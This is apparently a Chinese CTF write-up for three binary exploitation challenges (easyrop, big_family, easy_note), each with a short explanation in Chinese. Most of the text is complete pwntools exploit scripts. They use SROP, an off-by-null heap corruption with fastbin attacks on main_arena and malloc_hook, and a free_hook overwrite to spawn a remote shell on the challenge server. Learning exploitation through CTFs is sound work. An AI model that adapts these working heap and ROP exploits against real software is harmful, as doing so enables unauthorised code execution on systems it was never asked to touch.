0%

大吉大利杯

5ec2b10a65faa990ff247d80e6344fcf.jpg

easyrop

srop利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#! /usr/bin/env python
from pwn import *

#sh = process('./easyrop')
sh = remote('111.231.70.44',28171)
context(os='linux',arch='amd64',log_level='debug')

pop_rax_syscall_ret = 0x04000DB
syscall_ret = 0x04000DC
buf = 0x006000E0
start = 0x04000B0
ret = 0x004000DE

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf
sigframe.rdx = 0x300
sigframe.rsp = buf
sigframe.rip = syscall_ret
payload = 'a'*0x40+p64(pop_rax_syscall_ret)+p64(15)+str(sigframe)
sh.sendafter('easyrop!\n',payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x150
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = p64(pop_rax_syscall_ret)+p64(15)+str(sigframe)
payload = payload+(0x150-len(payload))*'\x00'+'/bin/sh\x00'
sh.send(payload)
sh.interactive()

big_family

off by null漏洞,程序限制了申请chunk的大小。这里有个小知识点,, 使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存。在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有 fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配。利用这个点,通过构造就可以泄露libc。然后再利用fastbin dup,通过向main_arena中写入size 0x41,然后利用fastbin attach控制main_arena中的top地址,将其就该到malloc_hook附近,之后申请chunk就会将malloc_hook申请下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#! /usr/bin/env python

from pwn import *

#sh=process('./family')
sh=remote('111.231.70.44',28083)
elf=ELF('./family')
#context.log_level='debug'
libc=ELF('./x64-libc-2.23.so')


def add(size,content):
sh.sendlineafter(':','1')
sh.sendlineafter('How big a house do you want to build?\n',str(size))
sh.sendafter('How do you want to decorate your house?\n',content)

def free(index):
sh.sendlineafter(':','2')
sh.sendlineafter('Which house do you want to remove?\n',str(index))

def show(index):
sh.sendlineafter(':','3')
sh.sendlineafter('Which house do you want to view?\n',str(index))

def choice():
sh.sendlineafter(':','1'*0x400)

add(0x38, 'A\n') #0
add(0x40, 'A\n') #1
add(0x40, 'A\n') #2
add(0x40, 'A\n') #3
add(0x40, 'A\n') #4
add(0x40, 'A\n') #5
add(0x40, 'A\n') #6
payload = 'a' * 0x10 + p64(0x200) + p64(0x20)+'\n'
add(0x28, payload) #7
add(0x38, 'end+\n') #8

for i in range(1, 8):
free(i)
choice()

free(0)
add(0x38,'A'*0x38)

add(0x38, 'A\n') #1
add(0x38, 'B\n') #2
add(0x38, 'C\n') #3
add(0x38, 'x\n') #4
add(0x38, 'x\n') #5
add(0x28, 'x\n') #6
add(0x38, 'x\n') #7
add(0x38, 'x\n') #9

free(1)
free(2)
free(3)
choice()

free(8)
choice()

add(0x40, 'A\n') #1
add(0x40, 'A\n') #2
add(0x18, 'A\n') #3
add(0x38, 'A\n') #8
add(0x38, 'A\n') #10
add(0x28, 'A\n') #11
add(0x38, 'A\n') #12
add(0x28, 'A\n') #13
payload ='A'*0x10+p64(0x200) + p64(0x20)+'\n'
add(0x28, payload) #14
add(0x28, 'end+\n') #15

free(1)
free(2)
free(3)
free(8)
for i in range(10,15):
free(i)
choice()

free(0)
add(0x38,'A'*0x38)

add(0x38, 'A\n') #1
add(0x38, 'B\n') #2
add(0x38, 'C\n') #3

show(4)
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base :' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0x4526a
sh.success('one_gadget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))

free(1)
free(2)
free(3)
choice()

add(0x18, 'A\n') #1
add(0x28, 'B\n') #2
add(0x38, 'C\n') #3
add(0x18, 'D\n') #8

pay = p64(0) + p64(0x41)+'\n'
add(0x18, pay) #10
add(0x28, 'asd\n') #11
add(0x38, 'zxc\n') # 5,12
add(0x28, 'qqq\n') # 6,13

add(0x38, 'a1\n') # 14
#add(0x28, 'a2\n') # 15

free(5)
free(14)
free(12)

free(6)
free(15)
free(13)

add(0x28, p64(0x41)+'\n')
add(0x28, 'a\n')
add(0x28, 'a\n')

add(0x38, p64(libc_base+0x3c4b20 +8)+'\n')
add(0x38, 'a\n')
add(0x38, 'a\n')
free(1)
free(10)
free(8)

add(0x38, p64(libc_base + 0x3c4b20 + 8 + 0x20) + '\x00' * 0x10 + p64(0x41)+'\n')
add(0x38, '\x00' * 0x20 + p64(malloc_hook-0x18)+'\n')

add(0x38, 'a\n')
free(0)
add(0x40,'A'*8+p64(one_gadget)+'\n')

free(14)
sh.sendlineafter(':','1')
sh.sendlineafter('How big a house do you want to build?\n',str(20))

#gdb.attach(sh)
sh.interactive()

easy_note

分析程序发现,程序会在申请的chunk中写入chunk的size,校验值,还有mmap地址,之后向程序会将该chunk复制到mmap上,然后将heap上的chunk free掉,在edit函数中发现,如果我们将输入的size写的大一些,可以修改到之前向chunk中写入的size,这样就可以利用show函数泄露libc,之后通过这样的方法,将之前写入的mmap地址修改为free_hook地址,就可以获得一次任意写的机会。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#! /usr/bin/env python

from pwn import *

#sh=process('./pwn')
sh=remote('111.231.70.44',28028)
elf=ELF('./pwn')
context.log_level='debug'
libc=ELF('./libc.so.6')

def add(size):
sh.sendlineafter('>','1')
sh.sendlineafter(':\n',str(size))

def show(index):
sh.sendlineafter('>','2')
sh.sendlineafter(':\n',str(index))

def edit(index,size,content):
sh.sendlineafter('>','3')
sh.sendlineafter(':\n',str(index))
sh.sendlineafter(':\n',str(size))
sh.send(content)

add(0x20)
edit(0,0x30,'A'*0x18+'B'*8+p64(0x50))
show(0)
sh.recvuntil('B'*8)
sh.recv(8)
random=u64(sh.recv(8))
sh.success('random : ' +hex(random))
mmap_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
sh.success('mmap_addr : ' +hex(mmap_addr))
libc_base=mmap_addr+0x400000
sh.success('libc_base : ' +hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sh.success('free_hook : ' +hex(free_hook))
one_gadget = libc_base+0x10a41c
sh.success('one_gadget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))

edit(0,0x7ebc30,'B'*0x20+p64(0x7ebc30)+p64(random)+p64(free_hook))
edit(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(sh)
sh.interactive()

参考连接

https://nocbtm.github.io/2020/02/28/off-by-null/#getshell